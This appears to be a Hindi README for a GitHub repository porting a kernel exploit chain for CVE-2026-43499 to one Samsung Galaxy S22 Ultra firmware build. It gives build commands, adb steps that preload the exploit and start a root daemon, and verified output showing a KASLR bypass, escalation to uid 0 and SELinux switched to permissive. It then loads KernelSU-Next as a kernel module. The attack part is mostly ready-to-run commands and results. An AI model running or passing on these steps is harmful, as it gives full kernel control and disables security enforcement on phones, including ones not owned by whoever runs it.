
CVE-2026-43499 Samsung Galaxy S22 Ultra (Android 5.10 कर्नेल) के लिए पूर्ण एक्सप्लॉइट श्रृंखला
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
यह रिपॉज़िटरी Samsung Galaxy S22 Ultra (SM-S908W) के लिए CVE-2026-43499 एक्सप्लॉइट का डिवाइस-विशिष्ट पोर्ट है।
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
इस रिपॉज़िटरी में दिए गए ऑफ़सेट और स्ट्रक्चर लेआउट उपर्युक्त फ़र्मवेयर के लिए विशिष्ट हैं। अन्य मॉडल और फ़र्मवेयर बिल्ड इस टार्गेट प्रोफ़ाइल द्वारा समर्थित नहीं हैं।
यह पोर्ट निम्नलिखित में प्रकाशित एक्सप्लॉइट इम्प्लीमेंटेशन पर आधारित है:
b850d3bddc74c3328d5fbcc0568d21962b55d949विशेष धन्यवाद:
अपस्ट्रीम Apache License 2.0 को LICENSE में बरकरार रखा गया है।
b0q / S908WVLS8FYG7 टार्गेट ऑफ़सेट (src/targets/S908WVLS8FYG7/target.h) और कर्नेल स्ट्रक्चर लेआउट जोड़े गए।exp32 रूट से बदला गया: futex कोरियोग्राफी, 32-बिट स्टैक स्टैम्प और sched_setattr एक एम्बेडेड 32-बिट चाइल्ड स्टेज (src/exp32/) में चलाए जाते हैं।system_unbound_wq यूज़र-मोड-हेल्पर रूट पाथ जोड़ा गया और रनटाइम SELinux एन्फोर्समेंट टार्गेट को selinux_state.enforcing में अपडेट किया गया।/data/local/tmp/cve-2026-43499-root पर सॉकेट-बैक्ड रूट कमांड हेल्पर जोड़ा गया।cve43499-hold प्रोसेस में बनाए रखता है, ताकि डैंगलिंग कर्नेल रेफरेंस असंबंधित slab ऑब्जेक्ट्स में रिसाइकल न हो सकें।ANDROID_NDK_HOME को Android NDK r27+ या संगत टूलचेन पर सेट करें, फिर चलाएँ:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Buildroot फाइलसिस्टम के साथ Android कर्नेल चलाने वाले QEMU वातावरण के लिए बिल्ड करने हेतु:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
आउटपुट:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
रूट डेमॉन शुरू करने के लिए एक्सप्लॉइट स्टेज निष्पादित करें:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
सफल होने पर, डिवाइस पर कहीं से भी इंटरैक्टिव रूट शेल खोलें:
adb shell "/data/local/tmp/cve-2026-43499-root"
या रूट कमांड सीधे निष्पादित करें:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
डिफ़ॉल्ट रन में अधिकतम 16 स्वतंत्र प्रयास होते हैं। प्रत्येक असफल चाइल्ड अगले प्रयास से पहले exit हो जाता है, जिससे उसके फाइल डिस्क्रिप्टर और heap-shaping आवंटन एक लंबे समय तक चलने वाले एक्सप्लॉइट प्रोसेस के अंदर जमा होने के बजाय रिलीज़ हो जाते हैं। डिफ़ॉल्ट बेस डिले 20000 माइक्रोसेकंड है और सुपरवाइज़र निम्नलिखित सीक्वेंस को दो बार स्कैन करता है:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
टाइमिंग डेटा एकत्र करते समय प्रयासों की संख्या या बेस डिले ओवरराइड करें:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
S908WVLS8FYG7 पर सत्यापित परिणाम:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
इंटरैक्टिव रूट शेल सत्र:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
प्रारंभिक स्टेज रेस-आधारित है। root=0 के साथ exit होने वाले चाइल्ड को स्वचालित रूप से पुनः प्रयास किया जाता है। सफल निष्पादन ashmem_misc.fops को पुनर्स्थापित करता है, SELinux को permissive में बदलता है और अगले रीबूट तक रूट हेल्पर डेमॉन शुरू करता है।
उपरोक्त एक्सप्लॉइट केवल वर्तमान बूट के लिए रूट रखता है। शेष सत्र के लिए Manager ऐप और su-शैली नियंत्रण पाने हेतु, रूट हेल्पर के माध्यम से KernelSU-Next को लेट-लोड कर्नेल मॉड्यूल के रूप में लोड करें।
v3.3.0-android12-5.10 से दोनों रिलीज़ एसेट्स डाउनलोड करें:
KernelSU_Next_v3.3.0-release.apk — Manager ऐपkernelsu-android12-5.10.ko — LKM कर्नेल मॉड्यूलManager APK इंस्टॉल करें:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot उपलब्ध कराना चाहिए।चूँकि यह एक लेट-लोड किया गया LKM है (पैच किया गया बूट इमेज नहीं), यह रीबूट के बाद बना नहीं रहता — डिवाइस के हर बार पुनः आरंभ होने पर आपको एक्सप्लॉइट दोबारा चलाना होगा और मॉड्यूल को फिर से insmod करना होगा।
[!WARNING] विश्वसनीयता और कर्नेल पैनिक सूचना: रेस स्टेज टाइमिंग-संवेदनशील है और वर्तमान में अविश्वसनीय है—अधिकांश रनों में यह विफल हो सकती है या कर्नेल पैनिक उत्पन्न कर सकती है। धैर्य रखें, क्योंकि क्लीन बूट में सफलता दर अधिक होती है। भविष्य में विश्वसनीयता सुधारने के लिए और ऑप्टिमाइज़ेशन जारी किए जा सकते हैं।
[!TIP] स्थिरता और सफलता दर के लिए सिफ़ारिशें:
- डिवाइस रीबूट करें: उच्चतम सफलता दर के लिए, साफ़ slab/heap स्थिति सुनिश्चित करने हेतु एक्सप्लॉइट चलाने से पहले डिवाइस को रीबूट करें।
- बैकग्राउंड ऐप्स बंद करें: सुनिश्चित करें कि सभी बैकग्राउंड एप्लिकेशन बंद हैं।
- स्क्रीन अनलॉक रखें और निष्क्रिय रहें: डिवाइस को अनलॉक रखें और एक्सप्लॉइट चलने के दौरान फोन के साथ इंटरैक्ट न करें और न ही उसका उपयोग करें, क्योंकि सक्रिय उपयोगकर्ता इनपुट/बैकग्राउंड कार्य टाइमिंग को बाधित कर सकते हैं और संभावित रूप से कर्नेल पैनिक ट्रिगर कर सकते हैं।
केवल उन्हीं डिवाइसों पर उपयोग करें जो आपकी हैं या जिन्हें परीक्षण के लिए स्पष्ट रूप से अधिकृत किया गया है।